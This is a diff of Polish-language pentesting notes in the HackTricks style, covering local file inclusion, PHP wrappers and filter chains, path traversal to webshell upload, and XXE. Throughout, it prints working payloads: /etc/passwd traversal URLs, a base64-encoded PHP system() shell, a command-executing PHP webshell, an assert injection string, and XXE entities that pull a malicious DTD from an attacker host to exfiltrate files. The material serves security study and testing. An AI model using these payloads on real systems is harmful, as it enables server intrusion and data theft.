`$file_name` jest kontrolowany przez atakującego i łączony **bez sanitizacji**. Ponownie, jedyną barierą jest **CSRF nonce**, który można pobrać z strony podsumowania.
|
||||
`$file_name` jest kontrolowany przez atakującego i łączony **bez sanitizacji**. Ponownie, jedyną bramą jest **CSRF nonce**, który można pobrać z strony podsumowania.
|
||||
|
||||
#### Wykorzystanie
|
||||
```bash
|
||||
|
@ -86,7 +86,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
|
||||
System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten polega na ustaleniu głębokości katalogu i sprawdzeniu istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, aby to osiągnąć:
|
||||
|
||||
1. **Ustal głębokość katalogu:** Ustal głębokość swojego bieżącego katalogu, skutecznie pobierając plik `/etc/passwd` (dotyczy to serwerów opartych na Linuksie). Przykładowy adres URL może być skonstruowany w następujący sposób, wskazując głębokość równą trzem:
|
||||
1. **Ustal głębokość katalogu:** Ustal głębokość swojego bieżącego katalogu, skutecznie pobierając plik `/etc/passwd` (dotyczy to serwerów opartych na Linuksie). Przykładowy adres URL może być skonstruowany w następujący sposób, wskazując na głębokość trzy:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
@ -97,7 +97,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
||||
3. **Interpretacja wyników:** Odpowiedź serwera wskazuje, czy folder istnieje:
|
||||
- **Błąd / Brak wyjścia:** Folder `private` prawdopodobnie nie istnieje w określonej lokalizacji.
|
||||
- **Zawartość `/etc/passwd`:** Obecność folderu `private` jest potwierdzona.
|
||||
4. **Rekurencyjne badanie:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
|
||||
4. **Rekurencyjna eksploracja:** Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).
|
||||
|
||||
Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy `/var/www/` zawiera katalog `private` (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:
|
||||
```bash
|
||||
@ -105,15 +105,15 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Technika skracania ścieżek**
|
||||
|
||||
Skracanie ścieżek to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez omijanie pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik.
|
||||
Skracanie ścieżek to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest stworzenie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik.
|
||||
|
||||
W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne z powodu natury systemu plików. Na przykład:
|
||||
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd` i `/etc/passwd/` są traktowane jako ta sama ścieżka.
|
||||
- Gdy ostatnie 6 znaków to `passwd`, dodanie `/` (tworząc `passwd/`) nie zmienia docelowego pliku.
|
||||
- Podobnie, jeśli `.php` jest dodawane do ścieżki pliku (jak `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskuje się dostęp.
|
||||
- Podobnie, jeśli `.php` jest dodane do ścieżki pliku (jak `shellcode.php`), dodanie `/.` na końcu nie zmieni pliku, do którego uzyskuje się dostęp.
|
||||
|
||||
Podane przykłady pokazują, jak wykorzystać skracanie ścieżek do uzyskania dostępu do `/etc/passwd`, powszechnego celu z powodu jego wrażliwych treści (informacje o kontach użytkowników):
|
||||
Podane przykłady pokazują, jak wykorzystać skracanie ścieżek do uzyskania dostępu do `/etc/passwd`, popularnego celu ze względu na jego wrażliwe treści (informacje o kontach użytkowników):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -129,7 +129,7 @@ W tych scenariuszach liczba wymaganych przejść może wynosić około 2027, ale
|
||||
- **Określenie wymaganej liczby przejść**: Poprzez próbę i błąd można znaleźć dokładną liczbę sekwencji `../`, które są potrzebne do nawigacji do katalogu głównego, a następnie do `/etc/passwd`, zapewniając, że wszelkie dołączone ciągi (jak `.php`) są neutralizowane, ale pożądana ścieżka (`/etc/passwd`) pozostaje nienaruszona.
|
||||
- **Zaczynanie od fałszywego katalogu**: Powszechną praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (jak `a/`). Technika ta jest stosowana jako środek ostrożności lub w celu spełnienia wymagań logiki analizy ścieżek serwera.
|
||||
|
||||
Podczas stosowania technik skracania ścieżek kluczowe jest zrozumienie zachowania analizy ścieżek serwera i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testowanie jest często konieczne, aby znaleźć najskuteczniejszą metodę.
|
||||
Podczas stosowania technik skracania ścieżek kluczowe jest zrozumienie zachowania serwera w zakresie analizy ścieżek i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testowanie jest często konieczne, aby znaleźć najskuteczniejszą metodę.
|
||||
|
||||
**Ta podatność została naprawiona w PHP 5.3.**
|
||||
|
||||
@ -153,7 +153,7 @@ Jeśli z jakiegoś powodu **`allow_url_include`** jest **włączone**, ale PHP *
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> W poprzednim kodzie końcowy `+.txt` został dodany, ponieważ atakujący potrzebował ciągu, który kończył się na `.txt`, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym wykonany).
|
||||
> W poprzednim kodzie końcowy `+.txt` został dodany, ponieważ atakujący potrzebował ciągu, który kończyłby się na `.txt`, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany).
|
||||
|
||||
Inny przykład **nie używający protokołu `php://`** to:
|
||||
```
|
||||
@ -229,7 +229,7 @@ Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich od
|
||||
- `convert.iconv.*` : Przekształca do innego kodowania (`convert.iconv.<input_enc>.<output_enc>`). Aby uzyskać **listę wszystkich obsługiwanych kodowań**, uruchom w konsoli: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Więcej informacji znajdziesz w [**LFI2RCE za pomocą filtrów php**](lfi2rce-via-php-filters.md).
|
||||
> Nadużywając filtru konwersji `convert.iconv.*`, możesz **generować dowolny tekst**, co może być przydatne do pisania dowolnego tekstu lub stworzenia funkcji, która włącza proces dowolnego tekstu. Więcej informacji znajdziesz w [**LFI2RCE za pomocą filtrów PHP**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Filtry kompresji](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: Kompresuje zawartość (przydatne, jeśli eksfiltrujesz dużo informacji)
|
||||
@ -238,7 +238,7 @@ Filtry PHP pozwalają na podstawowe **operacje modyfikacji danych** przed ich od
|
||||
- `mcrypt.*` : Przestarzałe
|
||||
- `mdecrypt.*` : Przestarzałe
|
||||
- Inne filtry
|
||||
- Uruchamiając w php `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**:
|
||||
- Uruchamiając w PHP `var_dump(stream_get_filters());`, możesz znaleźć kilka **nieoczekiwanych filtrów**:
|
||||
- `consumed`
|
||||
- `dechunk`: odwraca kodowanie HTTP chunked
|
||||
- `convert.*`
|
||||
@ -278,16 +278,16 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie:
|
||||
|
||||
- Użyj kodeka **`UCS-4LE`**, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo.
|
||||
- To będzie użyte do wygenerowania **tekstu tak dużego, że gdy początkowa litera jest odgadnięta poprawnie**, php wywoła **błąd**.
|
||||
- To będzie użyte do wygenerowania **tekstu tak dużego, gdy początkowa litera jest odgadnięta poprawnie**, że php wywoła **błąd**.
|
||||
- Filtr **dechunk** **usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy**, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy.
|
||||
- To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
|
||||
- Kodek **convert.iconv.UNICODE.CP930** przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to `a`, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą.
|
||||
- Używając innych transformacji, takich jak **rot13** na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przesuwania innych liter do zakresu szesnastkowego).
|
||||
- Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekować liczbę.
|
||||
- Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba.
|
||||
- Ostatecznym problemem jest zobaczenie **jak wyciekować więcej niż początkowa litera**. Używając filtrów pamięci porządkowej, takich jak **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.
|
||||
- A aby móc uzyskać **dalsze dane**, pomysł polega na **wygenerowaniu 2 bajtów danych śmieciowych na początku** przy użyciu **convert.iconv.UTF16.UTF16**, zastosowaniu **UCS-4LE**, aby **pivotować z następnymi 2 bajtami**, i **usunąć dane aż do danych śmieciowych** (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku.
|
||||
|
||||
W poście wycieknięto również narzędzie do automatycznego wykonania tego: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
W poście wycieknięto również narzędzie do automatyzacji tego procesu: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
@ -301,7 +301,7 @@ Możesz również użyć **php://stdin, php://stdout i php://stderr** do uzyskan
|
||||
### zip:// i rar://
|
||||
|
||||
Prześlij plik Zip lub Rar z PHPShell wewnątrz i uzyskaj do niego dostęp.\
|
||||
Aby móc nadużywać protokołu rar, **musi być on specjalnie aktywowany**.
|
||||
Aby móc wykorzystać protokół rar, **musi być on specjalnie aktywowany**.
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -360,7 +360,7 @@ Po wykonaniu zostanie utworzony plik o nazwie `test.phar`, który może być pot
|
||||
|
||||
W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, lub `filesize()`, można spróbować wykorzystać lukę w deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu `phar`.
|
||||
|
||||
Aby uzyskać szczegółowe zrozumienie eksploatacji luk w deserializacji w kontekście plików `.phar`, zapoznaj się z dokumentem podanym poniżej:
|
||||
Aby uzyskać szczegółowe informacje na temat eksploatacji luk w deserializacji w kontekście plików `.phar`, zapoznaj się z dokumentem podanym poniżej:
|
||||
|
||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||
|
||||
@ -370,9 +370,9 @@ phar-deserialization.md
|
||||
|
||||
### CVE-2024-2961
|
||||
|
||||
Można było nadużyć **dowolnego odczytu pliku z PHP, który obsługuje filtry PHP**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Bardzo szybkie podsumowanie: nadużyto **przepełnienia 3 bajtów** w stercie PHP, aby **zmienić łańcuch wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hook do wywołania **`system`**.\
|
||||
Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów PHP.
|
||||
Można było nadużyć **dowolnego odczytu pliku z PHP, który obsługuje filtry php**, aby uzyskać RCE. Szczegółowy opis można [**znaleźć w tym poście**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||
Bardzo szybkie podsumowanie: **3-bajtowy przepełnienie** w stercie PHP zostało nadużyte do **zmiany łańcucha wolnych kawałków** o określonym rozmiarze, aby móc **zapisać cokolwiek w dowolnym adresie**, więc dodano hook do wywołania **`system`**.\
|
||||
Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów php.
|
||||
|
||||
### Więcej protokołów
|
||||
|
||||
@ -383,9 +383,9 @@ Sprawdź więcej możliwych [**protokołów do uwzględnienia tutaj**](https://w
|
||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Dostęp do adresów URL HTTP(s)
|
||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Dostęp do adresów URL FTP(s)
|
||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Strumienie kompresji
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne)
|
||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Znajdź nazwy ścieżek pasujące do wzorca (Nie zwraca nic drukowalnego, więc nie jest tu naprawdę przydatne)
|
||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (nieprzydatne do odczytu dowolnych plików)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Strumienie audio (Nieprzydatne do odczytu dowolnych plików)
|
||||
|
||||
## LFI za pomocą 'assert' PHP
|
||||
|
||||
@ -395,7 +395,7 @@ Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeni
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Chociaż ma to na celu zatrzymanie przejścia, nieumyślnie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości plików, atakujący mógłby użyć:
|
||||
Chociaż ma to na celu zatrzymanie przejścia, niezamierzenie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości plików, atakujący mógłby użyć:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -410,9 +410,9 @@ To ważne, aby **zakodować URL te ładunki**.
|
||||
> [!WARNING]
|
||||
> Ta technika jest istotna w przypadkach, gdy **kontrolujesz** **ścieżkę pliku** funkcji **PHP**, która **uzyskuje dostęp do pliku**, ale nie zobaczysz zawartości pliku (jak proste wywołanie **`file()`**), ale zawartość nie jest wyświetlana.
|
||||
|
||||
W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak można nadużyć ślepego przejścia przez ścieżkę za pomocą filtra PHP, aby **wyekstrahować zawartość pliku za pomocą orakula błędów**.
|
||||
W [**tym niesamowitym poście**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) wyjaśniono, jak można nadużyć ślepą traversję ścieżki za pomocą filtra PHP, aby **wyekstrahować zawartość pliku za pomocą błędnego oracle**.
|
||||
|
||||
Podsumowując, technika polega na użyciu **kodowania "UCS-4LE"**, aby zawartość pliku była tak **duża**, że **funkcja PHP otwierająca** plik wywoła **błąd**.
|
||||
Podsumowując, technika polega na użyciu **kodowania "UCS-4LE"**, aby zawartość pliku była tak **duża**, że **funkcja PHP otwierająca** plik spowoduje **błąd**.
|
||||
|
||||
Następnie, aby wyciekł pierwszy znak, używany jest filtr **`dechunk`** wraz z innymi, takimi jak **base64** lub **rot13**, a na końcu używane są filtry **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE**, aby **umieścić inne znaki na początku i je wyciekować**.
|
||||
|
||||
@ -422,7 +422,7 @@ Aby uzyskać szczegóły techniczne, sprawdź wspomniany post!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Dowolne zapisywanie plików za pomocą przejścia przez ścieżkę (Webshell RCE)
|
||||
### Dowolne zapisywanie plików za pomocą traversji ścieżki (Webshell RCE)
|
||||
|
||||
Gdy kod po stronie serwera, który przyjmuje/ładowa pliki, buduje ścieżkę docelową przy użyciu danych kontrolowanych przez użytkownika (np. nazwa pliku lub URL) bez kanonizacji i walidacji, segmenty `..` i ścieżki absolutne mogą wydostać się z zamierzonego katalogu i spowodować dowolne zapisywanie plików. Jeśli możesz umieścić ładunek w katalogu dostępnym w sieci, zazwyczaj uzyskujesz nieautoryzowany RCE, umieszczając webshell.
|
||||
|
||||
@ -432,14 +432,14 @@ Typowy proces eksploatacji:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → umieść `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → umieść `shell.aspx`
|
||||
- Stwórz ścieżkę przejścia, która wydostaje się z zamierzonego katalogu przechowywania do katalogu głównego, i dołącz zawartość swojego webshella.
|
||||
- Stwórz ścieżkę traversji, która wydostaje się z zamierzonego katalogu przechowywania do katalogu głównego, i dołącz zawartość swojego webshella.
|
||||
- Przeglądaj do umieszczonego ładunku i wykonuj polecenia.
|
||||
|
||||
Uwagi:
|
||||
- Usługa podatna na atak, która wykonuje zapis, może nasłuchiwać na porcie nie-HTTP (np. nasłuchiwacz JMF XML na TCP 4004). Główny portal internetowy (inny port) później obsłuży twój ładunek.
|
||||
- W stosach Java te zapisy plików są często implementowane za pomocą prostej konkatenacji `File`/`Paths`. Brak kanonizacji/listy dozwolonych jest podstawową wadą.
|
||||
|
||||
Ogólny przykład w stylu XML/JMF (schematy produktów różnią się – DOCTYPE/opakowanie ciała jest nieistotne dla przejścia):
|
||||
Ogólny przykład w stylu XML/JMF (schematy produktów różnią się – DOCTYPE/opakowanie body jest nieistotne dla traversji):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -518,7 +518,7 @@ Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Aby zachować czytelność pliku, najlepiej jest wstrzyknąć do metadanych obrazów/doc/pdf
|
||||
Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych zdjęć/doc/pdf
|
||||
|
||||
### Poprzez przesyłanie pliku Zip
|
||||
|
||||
@ -591,7 +591,7 @@ lfi2rce-via-nginx-temp-files.md
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla Ciebie**. Możesz to wykorzystać do uzyskania RCE:
|
||||
Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST typu multipart**, PHP **włączy sesję dla ciebie**. Możesz to wykorzystać, aby uzyskać RCE:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
@ -630,7 +630,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Jeśli znalazłeś **Local File Inclusion** i **możesz wyeksportować ścieżkę** pliku tymczasowego, ALE **serwer** **sprawdza**, czy **plik do dołączenia ma znaczniki PHP**, możesz spróbować **obejść to sprawdzenie** za pomocą tego **Race Condition**:
|
||||
Jeśli znalazłeś **Local File Inclusion** i **możesz wyeksfiltrować ścieżkę** pliku tymczasowego, ALE **serwer** **sprawdza**, czy **plik do dołączenia ma znaczniki PHP**, możesz spróbować **obejść to sprawdzenie** za pomocą tego **Race Condition**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
@ -115,13 +115,13 @@ Kroki wykonywane przez ten DTD obejmują:
|
||||
|
||||
Atakujący hostuje ten złośliwy DTD na serwerze pod swoją kontrolą, zazwyczaj pod adresem URL takim jak `http://web-attacker.com/malicious.dtd`.
|
||||
|
||||
**XXE Payload:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
|
||||
**Ładunek XXE:** Aby wykorzystać podatną aplikację, atakujący wysyła ładunek XXE:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||
```
|
||||
Ten ładunek definiuje zewnętrzny byt parametru XML `%xxe` i włącza go w DTD. Gdy jest przetwarzany przez parser XML, ten ładunek pobiera zewnętrzny DTD z serwera atakującego. Parser następnie interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD i prowadząc do eksfiltracji pliku `/etc/hostname` na serwer atakującego.
|
||||
Ten ładunek definiuje zewnętrzny parametr XML `%xxe` i włącza go w DTD. Gdy jest przetwarzany przez parser XML, ten ładunek pobiera zewnętrzny DTD z serwera atakującego. Parser następnie interpretuje DTD w linii, wykonując kroki opisane w złośliwym DTD, co prowadzi do eksfiltracji pliku `/etc/hostname` na serwer atakującego.
|
||||
|
||||
### Błąd oparty (Zewnętrzny DTD)
|
||||
|
||||
@ -129,10 +129,10 @@ Ten ładunek definiuje zewnętrzny byt parametru XML `%xxe` i włącza go w DTD.
|
||||
|
||||
Komunikat o błędzie parsowania XML, ujawniający zawartość pliku `/etc/passwd`, można wywołać za pomocą złośliwego zewnętrznego Definicji Typu Dokumentu (DTD). Osiąga się to poprzez następujące kroki:
|
||||
|
||||
1. Definiuje się byt parametru XML o nazwie `file`, który zawiera zawartość pliku `/etc/passwd`.
|
||||
2. Definiuje się byt parametru XML o nazwie `eval`, włączający dynamiczną deklarację dla innego bytu parametru XML o nazwie `error`. Ten byt `error`, po ocenie, próbuje załadować nieistniejący plik, włączając zawartość bytu `file` jako swoją nazwę.
|
||||
1. Definiuje się parametr XML o nazwie `file`, który zawiera zawartość pliku `/etc/passwd`.
|
||||
2. Definiuje się parametr XML o nazwie `eval`, włączający dynamiczną deklarację dla innego parametru XML o nazwie `error`. Ten byt `error`, po ocenie, próbuje załadować nieistniejący plik, włączając zawartość bytu `file` jako swoją nazwę.
|
||||
3. Wywoływany jest byt `eval`, co prowadzi do dynamicznej deklaracji bytu `error`.
|
||||
4. Wywołanie bytu `error` skutkuje próbą załadowania nieistniejącego pliku, co produkuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku.
|
||||
4. Wywołanie bytu `error` skutkuje próbą załadowania nieistniejącego pliku, co generuje komunikat o błędzie, który zawiera zawartość pliku `/etc/passwd` jako część nazwy pliku.
|
||||
|
||||
Złośliwy zewnętrzny DTD można wywołać za pomocą następującego XML:
|
||||
```xml
|
||||
@ -148,9 +148,9 @@ _**Proszę zauważyć, że zewnętrzny DTD pozwala nam na uwzględnienie jednej
|
||||
|
||||
### **Błąd oparty (system DTD)**
|
||||
|
||||
Co zatem z niewidocznymi lukami XXE, gdy **interakcje poza pasmem są zablokowane** (połączenia zewnętrzne nie są dostępne)?
|
||||
Co zatem z niewidocznymi lukami XXE, gdy **interakcje out-of-band są zablokowane** (połączenia zewnętrzne nie są dostępne)?
|
||||
|
||||
Luka w specyfikacji języka XML może **ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy wewnętrzne i zewnętrzne deklaracje**. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia przeprowadzenie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia poza pasmem są zablokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy w celu ujawnienia wrażliwych informacji.
|
||||
Luka w specyfikacji języka XML może **ujawniać wrażliwe dane poprzez komunikaty o błędach, gdy DTD dokumentu łączy deklaracje wewnętrzne i zewnętrzne**. Problem ten pozwala na wewnętrzną redefinicję encji zadeklarowanych zewnętrznie, co ułatwia przeprowadzenie ataków XXE opartych na błędach. Takie ataki wykorzystują redefinicję encji parametru XML, pierwotnie zadeklarowanej w zewnętrznym DTD, z poziomu wewnętrznego DTD. Gdy połączenia out-of-band są blokowane przez serwer, atakujący muszą polegać na lokalnych plikach DTD, aby przeprowadzić atak, dążąc do wywołania błędu analizy, aby ujawnić wrażliwe informacje.
|
||||
|
||||
Rozważ scenariusz, w którym system plików serwera zawiera plik DTD w `/usr/local/app/schema.dtd`, definiujący encję o nazwie `custom_entity`. Atakujący może wywołać błąd analizy XML ujawniający zawartość pliku `/etc/passwd`, przesyłając hybrydowy DTD w następujący sposób:
|
||||
```xml
|
||||
@ -188,7 +188,7 @@ Zarysowane kroki są realizowane przez ten DTD:
|
||||
```
|
||||
.png>)
|
||||
|
||||
Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić **instalując** ten sam **system operacyjny / oprogramowanie**, które używa serwer, i **szukając domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
|
||||
Ponieważ ta technika wykorzystuje **wewnętrzny DTD, musisz najpierw znaleźć ważny**. Możesz to zrobić **instalując** ten sam **system operacyjny / oprogramowanie**, które używa serwer, i **szukając kilku domyślnych DTD**, lub **zbierając listę** **domyślnych DTD** w systemach i **sprawdzając**, czy którykolwiek z nich istnieje:
|
||||
```xml
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
@ -231,9 +231,9 @@ Zmodyfikowane linie XML powinny być wstawione pomiędzy dwa obiekty XML root. W
|
||||
|
||||
Na koniec, plik można spakować, aby utworzyć złośliwy plik poc.docx. Z wcześniej utworzonego katalogu "unzipped" należy wykonać następujące polecenie:
|
||||
|
||||
Teraz stworzony plik można przesłać do potencjalnie podatnej aplikacji webowej i można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
|
||||
Teraz stworzony plik może zostać przesłany do potencjalnie podatnej aplikacji webowej, a można mieć nadzieję, że żądanie pojawi się w logach Burp Collaborator.
|
||||
|
||||
### Protokół: jar
|
||||
### Jar: protokół
|
||||
|
||||
Protokół **jar** jest dostępny wyłącznie w **aplikacjach Java**. Został zaprojektowany, aby umożliwić dostęp do plików w archiwum **PKZIP** (np. `.zip`, `.jar` itp.), obsługując zarówno pliki lokalne, jak i zdalne.
|
||||
```
|
||||
@ -241,7 +241,7 @@ jar:file:///var/myarchive.zip!/file.txt
|
||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to **super przydatne do nadużywania XXE za pomocą plików DTD systemu.** Sprawdź [ten rozdział, aby dowiedzieć się, jak nadużywać plików DTD systemu](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
> Aby uzyskać dostęp do plików wewnątrz plików PKZIP, jest to **super przydatne do nadużywania XXE za pomocą systemowych plików DTD.** Sprawdź [ten rozdział, aby dowiedzieć się, jak nadużywać systemowych plików DTD](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||
|
||||
Proces uzyskiwania dostępu do pliku w archiwum PKZIP za pomocą protokołu jar obejmuje kilka kroków:
|
||||
|
||||
@ -265,7 +265,7 @@ Interesującą techniką przerywania tego procesu na drugim kroku jest utrzymywa
|
||||
```
|
